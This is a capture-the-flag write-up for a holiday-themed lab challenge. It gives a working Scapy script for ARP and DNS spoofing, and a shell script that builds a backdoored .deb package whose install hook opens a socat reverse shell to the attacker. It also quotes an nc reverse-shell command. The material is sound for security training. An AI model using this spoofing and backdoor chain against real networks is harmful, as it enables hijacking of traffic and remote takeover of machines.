ARP Shenanigans

Objective9

After solving the Tag Generator objective, I head back to the NetWars room to help Alabaster Snowball with his Scapy Terminal, in exchange for hints:

Alabaster Snowball

Hey Santa! You’ve got to check out our Scapy Present Packet Prepper! Please work through the whole thing to make sure it’s helpful for our guests! I made it so that players can help() to see how to get tasks and hints. When you’re done, maybe you can help me with this other issue I’m having.

Terminal Scapy

The exact commands I enter can be found HERE. They are just wonderful for refreshing my Python/Scapy skillz ahead of the main objective. Next, I get some real good hints from Alabaster:

Oh, I see the Scapy Present Packet Prepper has already been completed! Now you can help me get access to this machine. It seems that some interloper here at the North Pole has taken control of the host. We need to regain access to some important documents associated with Kringle Castle. Maybe we should try a machine-in-the-middle attack? That could give us access to manipulate DNS responses. But we’ll still need to cook up something to change the HTTP response. I’m sure glad you’re here Santa.

With the following hints appearing in the badge:

  • Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it
  • Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host.
  • Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP.
  • The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts.
  • The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file

First I spend some time wrapping my head around the overall design of this challenge. I end up crafting the below diagram to help with this:

Exploit Architecture

Arrows are explained below:

  1. The victim (right) sends an ARP request every second to find the MAC of IP: 10.6.6.53 (supposedly a local DNS server)
  2. As the attacker (left) I spoof the ARP response with my own MAC: 4c:24:57🆎ed:84
  3. The victim starts sending DNS queries asking for the IP address of: ftp.osuosl.org
  4. As the attacker I craft spoofed DNS responses to answer these queries with my own IP: 10.6.6.35
  5. The victim tries to fetch resource /pub/jfrost/backdoor/suriv_amd64.deb via an HTTP request
  6. As the attacker I have a custom HTTP server that returns a backdoored version of netcat
  7. The victim installs this package which starts a reverse shell session via nc 10.6.6.35 4444 -e /bin/bash
  8. As the attacker I start a local listener via nc -lvp 4444 to accept the reverse shell connection to exfil the document

Modifying the provided python scripts to achieve the ARP spoofing is quite straightforward. The DNS part requires a bit more effort, but the provided pcap examples help a lot:

 1#!/usr/bin/python3
 2from scapy.all import *
 3import netifaces as ni
 4import uuid
 5
 6ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
 7macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
 8spoofed_ip = "10.6.6.53"
 9spoofed_domain = 'ftp.osuosl.org'
10
11def handle_pkt(packet):
12    response = None
13    if ARP in packet and packet[ARP].op == 1:
14        print(f"Spoofed APR response for {spoofed_ip} with own MAC {macaddr}")
15        ether_resp   = Ether(dst=packet.hwsrc, type=0x806, src=macaddr)
16        arp_response = ARP(op=2, hwsrc=macaddr, hwdst=packet.hwsrc, psrc=spoofed_ip, pdst='10.6.6.35')
17        response = ether_resp / arp_response
18    else:
19        print(f"Spoofed DNS response for {spoofed_domain} with own IP {ipaddr}")
20        eth = Ether(src=macaddr, dst=packet[Ether].src)
21        ip  = IP(dst=packet[IP].src, src=spoofed_ip)
22        udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
23        dns = DNS(
24                id=packet[DNS].id, rd=1, qdcount=1, ancount=1, qr=1, ra=1, qd=packet[DNS].qd,
25                an=DNSRR(rrname='ftp.osuosl.org', type='A', rclass='IN', rdata=ipaddr, ttl=82159)      
26        )
27        response = eth / ip / udp / dns
28    sendp(response, iface="eth0", verbose=0)
29
30def main():
31    berkeley_packet_filter = "(" + " and ".join([
32        "udp dst port 53", "udp[10] & 0x80 = 0", "dst host {}".format(spoofed_ip), "ether dst host {}".format(macaddr)
33    ]) + ") or (arp[6:2] = 1)"
34    sniff(filter=berkeley_packet_filter, prn=handle_pkt, store=0, iface="eth0", count=0)
35
36if __name__ == "__main__":
37    main()

Next, following this guide I create the backdoored .deb package which will be served by my rogue web server. It is rather straightforward as I can reuse one of the existing packages on the terminal.

First, I make it work via netcat but then I change to socat because it’s able to establish a full-featured TTY instead of just the text output of the typed commands. This link offers great tips on setting up both netcat and socat in reverse shells!

To make it repeatable, I craft the below script that takes care of every step, including the creation of the backdoored package, the starting of the ARP & DNS spoofing script, the starting of the web server and finally starting the socat listener for accepting the reverse shell:

 1dpkg -x debs/socat_1.7.3.3-2_amd64.deb socat
 2ar -x debs/socat_1.7.3.3-2_amd64.deb
 3tar -xf control.tar.xz
 4rm control.tar.xz data.tar.xz debian-binary md5sums
 5
 6mkdir socat/DEBIAN
 7mv control socat/DEBIAN/
 8touch socat/DEBIAN/postinst
 9chmod 775 socat/DEBIAN/postinst
10LOCAL_IP=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'`
11echo "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:${LOCAL_IP}:4444" >> socat/DEBIAN/postinst
12dpkg-deb --build ./socat/
13
14mkdir -p pub/jfrost/backdoor
15mv socat.deb pub/jfrost/backdoor/suriv_amd64.deb
16
17python3 -m http.server 80 &>/dev/null & python3 spoof.py &>/dev/null &
18
19socat file:`tty`,raw,echo=0 tcp-listen:4444

Finally, I am able to open a full-featured TTY reverse shell and open the txt file to get the answer:

Recusal-Solution

On to the next one! 😎

Previous
Next